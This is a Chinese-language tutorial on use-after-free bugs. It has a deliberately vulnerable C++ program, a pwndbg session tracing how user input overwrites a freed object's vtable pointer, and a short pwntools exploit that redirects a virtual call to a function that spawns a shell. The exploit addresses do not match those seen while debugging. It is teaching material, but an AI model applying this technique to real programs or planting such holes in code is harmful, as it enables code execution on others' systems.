原理
use_after_free就是其字面所表达的意思,当一个内存块被释放之后再次被使用。但是其实这里有以下几种情况:
内存块被释放后,其对应的指针被设置为 NULL , 然后再次使用,自然程序会崩溃。
内存块被释放后,其对应的指针没有被设置为NULL,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转。
内存块被释放后,其对应的指针没有被设置为NULL,但是在它下一次使用之前,有代码对这块内存行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题。
而我们一般所指的 Use After Free 漏洞主要是后两种。此外,我们一般称被释放后没有被设置为 NULL 的内存指针为 dangling pointer。
---
例子
---
use_after_free.cpp
#include<cstdio>
#include<cstdlib>
#include<cstring>
class A
{
public:
virtual void print()
{
puts("class A");
}
};
class B: public A
{
public:
void print()
{
puts("class B");
}
};
void sh()
{
system("sh");
}
char buf[1024];
int main()
{
setvbuf(stdout,0,_IONBF,0);
A *p = new B();
delete p; //删除堆p
fgets(buf,sizeof(buf),stdin);
char *q = strdup(buf);
p->print(); //继续使用p,触发漏洞,程序会报错
return 0;
}
编译:
g++ use_after_free.cpp -o use_after_free -g -w
---
运行结果
---
root@sir:# ./use_after_free
aaaabbbb
Segmentation fault (core dumped)
我们发现程序,在最后报错了,因为我们触发了use_after_free,不过不影响我们的实验
漏洞利用
用gdb调试use_after_free,先在main函数上面下一个断点,然后运行
root@sir:# gdb use_after_free
pwndbg: loaded 173 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from use_after_free...done.
pwndbg> b main
Breakpoint 1 at 0x11b1: file use_after_free.cpp, line 32.
pwndbg> r
然后一直单步运行,运行到delete的位置
pwndbg> n
34 delete p; //删除堆p
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────[ REGISTERS ]────────────────────
RSI 0x0
R8 0x3
R9 0x7fffff280f00 ?— 0x7fffff280f00
R10 0x0
R11 0x0
R12 0x80010b0 (_start) ?— xor ebp, ebp /* 0x89485ed18949ed31 */
R13 0x7ffffffee4e0 ?— 0x1
R14 0x0
R15 0x0
RBP 0x7ffffffee400 —? 0x80012d0 (__libc_csu_init) ?— push r15
RSP 0x7ffffffee3e0 —? 0x80012d0 (__libc_csu_init) ?— push r15
RIP 0x80011ef (main+71) ?— mov rax, qword ptr [rbp - 0x18]
─────────────────────────────────────────[ DISASM ]─────────────────────
> 0x80011ef <main+71> mov rax, qword ptr [rbp - 0x18]
0x80011f3 <main+75> mov esi, 8
0x80011f8 <main+80> mov rdi, rax
0x80011fb <main+83> call 0x8001060
0x8001200 <main+88> mov rax, qword ptr [rip+0x2e69]<0x8004070>
0x8001207 <main+95> mov rdx, rax
0x800120a <main+98> mov esi, 0x400
0x800120f <main+103> lea rdi, [rip + 0x2e6a] <0x8004080>
0x8001216 <main+110> call fgets@plt <0x8001080>
0x800121b <main+115> lea rdi, [rip + 0x2e5e] <0x8004080>
0x8001222 <main+122> call strdup@plt <0x8001090>
─────────────────────────────────────[ SOURCE (CODE) ]──────────────────
29
30 int main()
31 {
32 setvbuf(stdout,0,_IONBF,0);
33 A *p = new B();
> 34 delete p; //删除堆p
35 fgets(buf,sizeof(buf),stdin);
36 char *q = strdup(buf);
37
38 p->print(); //继续使用p,触发漏洞
39 return 0;
这时我们查看p的信息
pwndbg> heap p
0x8016e70 {
mchunk_prev_size = 134233472,
mchunk_size = 0,
fd = 0x0,
bk = 0xf181,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
我们看到p的chunk的地址是0x8016e70,所以我们详细查看一下0x8016e70的内容
pwndbg> x/10gx 0x8016e70-16
0x8016e60: 0x0000000000000000 0x0000000000000021
0x8016e70: 0x0000000008003d80 0x0000000000000000
0x8016e80: 0x0000000000000000 0x000000000000f181
0x8016e90: 0x0000000000000000 0x0000000000000000
0x8016ea0: 0x0000000000000000 0x0000000000000000
pwndbg> x/10gx 0x8003d80
0x8003d80 <_ZTV1B+16>: 0x0000000008001266 0x0000000000000000
0x8003d90 <_ZTV1A+8>: 0x0000000008003db8 0x000000000800124a
0x8003da0 <_ZTI1B>: 0x00007fffff786438 0x0000000008002017
0x8003db0 <_ZTI1B+16>: 0x0000000008003db8 0x00007fffff7857f8
0x8003dc0 <_ZTI1A+8>: 0x000000000800201a 0x0000000000000001
pwndbg> x/10gx 0x8001266
0x8001266 <B::print()>: 0x10ec8348e5894855 0x933d8d48f87d8948
0x8001276 <B::print()+16>: 0xfffffdf2e800000d 0xe589485590c3c990
0x8001286 <A::A()+4>: 0x07158d48f87d8948 0x48f8458b4800002b
0x8001296 <A::A()+20>: 0x485590c35d901089 0x894810ec8348e589
0x80012a6 <B::B()+10>: 0x8948f8458b48f87d 0x8d48ffffffcee8c7
我们发现其实0x8016e70最终指向的位置其实就是class B中print函数的位置
我们继续单步运行程序,到p->print();的位置,然后我们继续查看堆p的信息
pwndbg> n
pwndbg> n
aaaabbbb
pwndbg> x/20gx 0x8016e70-16
0x8016e60: 0x0000000000000000 0x0000000000000021
0x8016e70: 0x6262626261616161 0x000000000000000a
0x8016e80: 0x0000000000000000 0x0000000000001011
0x8016e90: 0x6262626261616161 0x000000000000000a
0x8016ea0: 0x0000000000000000 0x0000000000000000
0x8016eb0: 0x0000000000000000 0x0000000000000000
0x8016ec0: 0x0000000000000000 0x0000000000000000
0x8016ed0: 0x0000000000000000 0x0000000000000000
0x8016ee0: 0x0000000000000000 0x0000000000000000
0x8016ef0: 0x0000000000000000 0x0000000000000000
我们发现原来0x8016e70的信息被我们输入的信息覆盖了,我们查看这时的汇编代码
0x8001227 <main()+127> mov QWORD PTR [rbp-0x20],rax
0x800122b <main()+131> mov rax,QWORD PTR [rbp-0x18]
0x800122f <main()+135> mov rax,QWORD PTR [rax]
0x8001232 <main()+138> mov rax,QWORD PTR [rax]
0x8001235 <main()+141> mov rdx,QWORD PTR [rbp-0x18]
0x800123c <main()+148> call rax
查看一下寄存器的信息
RAX 0x8016e70 <— 'aaaabbbb\n'
RBX 0x8016e70 <— 'aaaabbbb\n'
RCX 0xa626262626161
RDX 0xa
RDI 0x8016e70 <— 'aaaabbbb\n'
RSI 0x6262626261616161 ('aaaabbbb')
R8 0x8016e99 <— 0x0
R9 0x7fffff280f00 <— 0x7fffff280f00
R10 0x253
R11 0x7fffff316ee0 (strdup) <— push rbp
R12 0x80010b0 (_start) <— xor ebp, ebp /* 0x89485ed18949ed31 */
R13 0x7ffffffee4e0 <— 0x1
R14 0x0
R15 0x0
RBP 0x7ffffffee400 —> 0x80012d0 (__libc_csu_init) <— push r15
RSP 0x7ffffffee3e0 —> 0x8016e70 <— 'aaaabbbb\n'
RIP 0x800122f (main+135) <— mov rax, qword ptr [rax]
我们发现RAX的内容就是我们输入的信息,结合汇编代码可以发现,最终的call rax这句代码将执行的我们输入的数据所指的地址的代码
---
EXP
---
根据程序的源代码可以看到,我们输入的内容先放在buf里面,然后再复制过去的,而buf属于全局变量,其位置是找到的,所以我们的shellcode的构造可以是buf的地址+8然后加上sh()函数的地址,最终的RAX的值就是sh()函数的地址了
from pwn import *
p = process('./use_after_free')
buf=0x00404080
sh=0x0401182
p.sendline(p64(buf+8)+p64(sh)+'a'*4)
p.interactive()
之所以要在buf的地址加上8,是因为RAX只有8字节,而buf加8的位置加上sh()函数的地址了
|